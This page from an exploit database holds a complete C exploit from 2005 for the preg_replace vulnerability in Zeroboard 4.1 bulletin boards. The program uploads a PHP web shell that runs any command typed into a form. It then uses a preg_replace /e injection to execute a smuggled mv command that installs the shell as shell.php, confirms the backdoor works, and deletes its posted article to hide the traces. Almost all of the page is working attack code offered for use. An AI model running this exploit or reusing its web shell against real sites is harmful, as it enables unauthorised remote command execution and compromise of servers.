0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Zeroboard 4.1 preg_replace Remote nobody Shell Exploit
====================================================== Zeroboard 4.1 preg_replace Remote nobody Shell Exploit ====================================================== /* * ---------------------------------------------------------------------------------- [+] Zeroboard preg_replace vulnerability Remote nobody shell exploit ---------------------------------------------------------------------------------- > by n0gada (n0gada@null2root.org) [*] date : 2005/5/29 [*] the bug Original advisory: - http://pandora.sapzil.info/text/notify/20050123.zb41advisory.php Application - Zeroboard 4.1 pl2 - 4.1 pl5 Reference: - http://www.nzeo.com [*] Target - My test server $ ./zbexpl http://xxx.xxx.xxx/zboard/zboard.php?id=test - Target : http://xxx.xxx.xxx/zboard/zboard.php?id=test [+] xxx.xxx.xxx connecting ok! [+] Zeroboard writing . ok! [+] Confirmming your article - found! [+] Exploiting zeroboard start ............................... Done! [*] Confirmming your backdoor php script - http://xxx.xxx.xxx/zboard/data/test/shell.php is generated! [+] Exploiting success!! [*] Remove your article - ok! :) ------------------------------------------------------------------------------ * */ #include <stdio.h> #include <stdarg.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netdb.h> #include <sys/types.h> #include <signal.h> #include <time.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/select.h> #include <errno.h> #define BUFSIZE 4096 #define READSIZE 1500 void ParseZbHost(char *); void ConnectZboard(char *, unsigned short); void WriteZboard(void); void ExploitZboard(void); void ConfirmPHPScript(void); void DeleteArticle(void); void StatusProcess(void); void Usage(char *); void OutputErr(char *, int); char *zb_host; char *zb_dir; char *zb_tid; unsigned short zb_port; int sockfd = -1; int reconn=0; char ReadBuf[READSIZE]; char WriteBuf[BUFSIZE]; char TempBuf[BUFSIZ]; char no[16]; int main(int argc, char *argv[]){ if(argc < 2) Usage(argv[0]); if(argc > 2) zb_port = atoi(argv[2]); else zb_port = 80; // http://host/bbs/zboard.php?id=test ParseZbHost(argv[1]); ConnectZboard(zb_host, zb_port); WriteZboard(); ExploitZboard(); ConfirmPHPScript(); DeleteArticle(); } void ParseZbHost(char *zbhost) { char *psbuf; char *sptr=NULL; char *eptr=NULL; psbuf = malloc(strlen(zbhost)+1); strcpy(psbuf, zbhost); if((sptr = strstr(psbuf,"http://")) == NULL) OutputErr("http://host need\n", 0); zb_host = sptr+7; sptr = strchr(zb_host, '/'); sptr[0] = '\0'; sptr++; if((eptr = strstr(sptr, "zboard.php?id=")) == NULL) OutputErr("\"zboard.php?id=\" need\n", 0); zb_tid = eptr+14; eptr--; eptr[0] = '\0'; zb_dir = sptr; fprintf(stdout, " - Target : http://%s/%s/zboard.php?id=%s\n", zb_host, zb_dir, zb_tid); fflush(stdout); } void ConnectZboard(char *server, unsigned short port) { struct sockaddr_in serv; struct hostent *hostname; if(!(hostname = gethostbyname(server))) OutputErr(server, 1); if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) OutputErr("socket", 1); memset(&serv, 0, sizeof(serv)); serv.sin_family = AF_INET; serv.sin_port = htons(port); serv.sin_addr.s_addr = *((unsigned long *)hostname->h_addr_list[0]); // serv.sin_addr = *((struct in_addr *)hostname->h_addr_list[0]); if(connect(sockfd, (struct sockaddr *)&serv, sizeof(struct sockaddr)) < 0) OutputErr("connect", 1); if(!reconn) fprintf(stdout,"\n [+] %s connecting ok!\n", server); else if(reconn == 1) fprintf(stdout, " [+] %s reconnecting ok!\n", server); fflush(stdout); reconn = 0; } void WriteZboard(void) { fd_set fds; struct timeval tv; int err = -1; int i = 0; int cnt=0; char *tmp_ptr, *ptr; char form_data[BUFSIZE]; memset(form_data, 0, sizeof(form_data)); sprintf(form_data, "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"page\"\r\n" "\r\n" "1\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"id\"\r\n" "\r\n" "%s\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"no\"\r\n" "\r\n" "\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"select_arrange\"\r\n" "\r\n" "headnum\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"desc\"\r\n" "\r\n" "asc\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"page_num\"\r\n" "\r\n" "\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"keyword\"\r\n" "\r\n" "\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"category\"\r\n" "\r\n" "\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"sn\"\r\n" "\r\n" "off\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"ss\"\r\n" "\r\n" "on\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"sc\"\r\n" "\r\n" "on\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"mode\"\r\n" "\r\n" "write\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"password\"\r\n" "\r\n" "1212\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"name\"\r\n" "\r\n" "zero\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"email\"\r\n" "\r\n" "zero@nzeo.com\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"homepage\"\r\n" "\r\n" "\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"subject\"\r\n" "\r\n" "zero@nzeo.com hi~!\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"memo\"\r\n" "\r\n" "`mv data/%s/d214924151d9e1ffac5bb2258561031e data/%s/shell.php`;# 70ab423bfaea846c9db0b96126254103\r\n" //"-----------------------------8ac34985126d8\r\n" //"Content-Disposition: form-data; name=\"sitelink1\"\r\n" //"\r\n" //"\r\n" //"-----------------------------8ac34985126d8\r\n" //"Content-Disposition: form-data; name=\"sitelink2\"\r\n" //"\r\n" //"\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"file1\"; filename=\"d214924151d9e1ffac5bb2258561031e\"\r\n" "Content-Type: text/plain\r\n" "\r\n" "<? if(count($_GET)) extract($_GET); if(count($_POST)) extract($_POST); if(count($_SERVER)) extract($_SERVER); echo \"<form action=$PHP_SELF method=post> command : <input type=text name=cmd> <input type=submit></form><hr>\"; if($cmd){ $cmd = str_replace(\"\\\\\", \"\", $cmd); echo \"<pre>\"; system($cmd); echo \"</pre>\"; } ?>\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"file2\"; filename=\"\"\r\n" "Content-Type: application/octet-stream\r\n" "\r\n" "\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"x\"\r\n" "\r\n" "36\r\n" "-----------------------------8ac34985126d8\r\n" "Content-Disposition: form-data; name=\"y\"\r\n" "\r\n" "11\r\n" "-----------------------------8ac34985126d8--\r\n" , zb_tid, zb_tid, zb_tid); memset(WriteBuf, 0, sizeof(WriteBuf)); sprintf(WriteBuf, "POST /%s/write_ok.php HTTP/1.1\r\n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n" "Referer: http://%s/%s/write.php?id=%s&page=1&sn1=&divpage=1& sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=& mode=write&sn1=&divpage=1\r\n" "Content-Type: multipart/form-data; boundary=---------------------------8ac34985126d8\r\n" "Accept-Encoding: gzip, deflate\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n" "Host: %s\r\n" "Content-Length: %d\r\n" "Connection: Keep-Alive\r\n" "Cache-Control: no-cache\r\n" "\r\n""%s", zb_dir, zb_host, zb_dir, zb_tid, zb_host, strlen(form_data), form_data); fprintf(stdout, " [+] Zeroboard writing "); fflush(stdout); if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1); tv.tv_sec = 60; tv.tv_usec = 0; FD_ZERO(&fds); for(;;){ memset(ReadBuf, 0, sizeof(ReadBuf)); if(i!=0xb33f) StatusProcess(); FD_SET(sockfd, &fds); if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1); if(FD_ISSET(sockfd, &fds)){ if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1); if(strstr(ReadBuf, "HTTP/1.1 ")){ if(strstr(ReadBuf+17, "Connection: close\r\n")) reconn = 1; if(strstr(ReadBuf+9, "200 OK\r\n")) { err++; } else if(strstr(ReadBuf+9, "404 Not Found\r\n")){ OutputErr(" failed!(page not found)\n", 0); } else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){ OutputErr(" failed!(Bad Request)\n", 0); } else { OutputErr(ReadBuf, 0); } } if(err == 0){ if(strstr(ReadBuf,"<meta http-equiv=\"refresh\" content=\"0; url=zboard.php?id=")) { fprintf(stdout, " ok!\n"); fflush(stdout); fprintf(stdout," [+] Confirmming your article"); fflush(stdout); if(tmp_ptr = strstr(ReadBuf+18, "url=")) { ptr = tmp_ptr+4; if(ptr != NULL){ if(tmp_ptr = strchr(ptr,'"')) tmp_ptr[0] = '\0'; } } if(ptr = strstr(ReadBuf,"=&no=")){ ptr += 5; memset(no, 0, sizeof(no)); for(i=0; i<16; i++){ if(ptr[i] == '&') break; no[i] = ptr[i]; } } if(strlen(no) > 0){ fprintf(stdout," - found!\n"); fflush(stdout); return; } else { OutputErr(" - failed!(not writed!?!)\n", 0); } } else { if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf,"\x30\x0d\x0a\x0d\x0a")) break; } } else { OutputErr("err number error\n", 0); } } } fprintf(stderr, " error!\n"); } void ExploitZboard(void) { fd_set fds; struct timeval tv; int err = -1; if(reconn == 1) ConnectZboard(zb_host, zb_port); memset(WriteBuf, 0, sizeof(WriteBuf)); sprintf(WriteBuf, "GET /%s/view.php?id=%s&page=1&sn1=&divpage=1&sn=off&ss=off& sc=on&keyword=70ab423bfaea846c9db0b96126254103/e" , zb_dir, zb_tid); memcpy(WriteBuf+strlen(WriteBuf), "\x25\x30\x30", 3); sprintf(WriteBuf+strlen(WriteBuf), "&select_arrange=headnum&desc=asc&no=%s HTTP/1.1\r\n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n" "Referer: http://%s/%s/zboard.php\r\n" "Accept-Encoding: gzip, deflate\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n" "Host: %s\r\n" "Connection: Keep-Alive\r\n" "\r\n", no, zb_host, zb_dir, zb_host); fprintf(stdout, " [+] Exploiting zeroboard start "); fflush(stdout); if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1); tv.tv_sec = 60; tv.tv_usec = 0; FD_ZERO(&fds); for(;;){ StatusProcess(); memset(ReadBuf, 0, sizeof(ReadBuf)); FD_SET(sockfd, &fds); if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1); if(FD_ISSET(sockfd, &fds)){ if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1); if(strstr(ReadBuf, "HTTP/1.1 ")){ if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1; if(strstr(ReadBuf+9, "200 OK\r\n")) { err++; } else if(strstr(ReadBuf+9, "404 Not Found\r\n")){ OutputErr(" failed!(page not found)\n", 0); } else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){ OutputErr(" failed!(Bad Request)\n", 0); } else { OutputErr(ReadBuf, 0); } } if(err >= 0){ if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf, "\x30\x0d\x0a\x0d\x0a")){ fprintf(stdout," Done!\n"); fflush(stdout); return; } } } } fprintf(stderr," error!\n"); } void ConfirmPHPScript(void) { fd_set fds; struct timeval tv; if(reconn == 1) ConnectZboard(zb_host, zb_port); memset(WriteBuf, 0, sizeof(WriteBuf)); sprintf(WriteBuf, "GET /%s/data/%s/shell.php HTTP/1.1\r\n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n" "Referer: http://%s/%s/zboard.php\r\n" "Accept-Encoding: gzip, deflate\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n" "Host: %s\r\n" "Connection: Keep-Alive\r\n" "\r\n", zb_dir, zb_tid, zb_host, zb_dir, zb_host); fprintf(stdout, " [*] Confirmming your backdoor php script"); fflush(stdout); if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1); tv.tv_sec = 60; tv.tv_usec = 0; FD_ZERO(&fds); for(;;){ memset(ReadBuf, 0, sizeof(ReadBuf)); FD_SET(sockfd, &fds); if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1); if(FD_ISSET(sockfd, &fds)){ if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1); if(strstr(ReadBuf, "HTTP/1.1 ")){ if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1; if(strstr(ReadBuf+9, "200 OK\r\n")) { fprintf(stdout," - http://%s/%s/data/%s/shell.php is generated!\n [+] Exploiting success!!\n", zb_host, zb_dir, zb_tid); fflush(stdout); return; } else if(strstr(ReadBuf+9, "404 Not Found\r\n")){ OutputErr(" - page not found\n - 'mv' instruction permission denied.\n - zeroboard was patched.\n" " [-] Exploit failed!\n", 0); } else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){ OutputErr(" - Bad Request\n" " [-] Exploit failed!\n", 0); } else { OutputErr(ReadBuf, 0); } } } } fprintf(stderr," error!\n"); } void DeleteArticle(void) { fd_set fds; struct timeval tv; char post_data[BUFSIZ]; if(reconn == 1) ConnectZboard(zb_host, zb_port); sprintf(post_data, "page=1&id=%s&no=%s&select_arrange=headnum&desc=asc&page_num=20&keyword=&category=&sn=off&ss=off&sc=on&mode=&c_no=&password=1212&x=20&y=9\r\n", zb_tid, no); memset(WriteBuf, 0, sizeof(WriteBuf)); sprintf(WriteBuf, "POST /%s/delete_ok.php HTTP/1.1\r\n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n" "Referer: http://%s/%s/delete.php?id=%s&page=1&sn1=&divpage=1&sn=off&ss=off&sc=on&select_arrange=headnum&desc=asc&no=%s\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Accept-Encoding: gzip, deflate\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n" "Host: %s\r\n" "Content-Length: %d\r\n" "Connection: close\r\n" "Cache-Control: no-cache\r\n" "\r\n" "%s", zb_dir, zb_host, zb_dir, zb_tid, no, zb_host, strlen(post_data), post_data); fprintf(stdout, " [*] Remove your article "); fflush(stdout); if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1); tv.tv_sec = 60; tv.tv_usec = 0; FD_ZERO(&fds); for(;;){ memset(ReadBuf, 0, sizeof(ReadBuf)); FD_SET(sockfd, &fds); if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1); if(FD_ISSET(sockfd, &fds)){ if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1); if(strstr(ReadBuf, "HTTP/1.1 ")){ if(strstr(ReadBuf+9, "200 OK\r\n")) { if(strstr(ReadBuf+17, "<meta http-equiv=\"refresh\" content=\"0; url=zboard.php?id=")) { fprintf(stdout, " - ok! :)\n"); fflush(stdout); return; } else{ break; } } else if(strstr(ReadBuf+9, "404 Not Found\r\n")){ OutputErr(" - failed!(page not found)\n", 0); } else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){ OutputErr(" - failed!(Bad Request)\n", 0); } else { fprintf(stderr,"%s", ReadBuf); exit(1); } } } } fprintf(stderr," error!\n"); } void StatusProcess(void) { putchar('.'); fflush(stdout); } void OutputErr(char *msg, int type) { if(!type){ fprintf(stderr,"%s", msg); fflush(stderr); } else if(type==1){ if(!strcmp(msg, zb_host)) herror(msg); else perror(msg); } DeleteArticle(); exit(1); } void Usage(char *arg) { fprintf(stderr,"[*] Zeroboard preg_replace() vulnerability Remote nobody exploit by n0gada\n"); fprintf(stderr,"--------------------------------------------------------------------------\n"); fprintf(stderr,"Usage: %s <SERVER> [PORT - default : 80] \n", arg); fprintf(stderr,"--------------------------------------------------------------------------\n"); exit(1); } # 0day.today [2024-10-06] #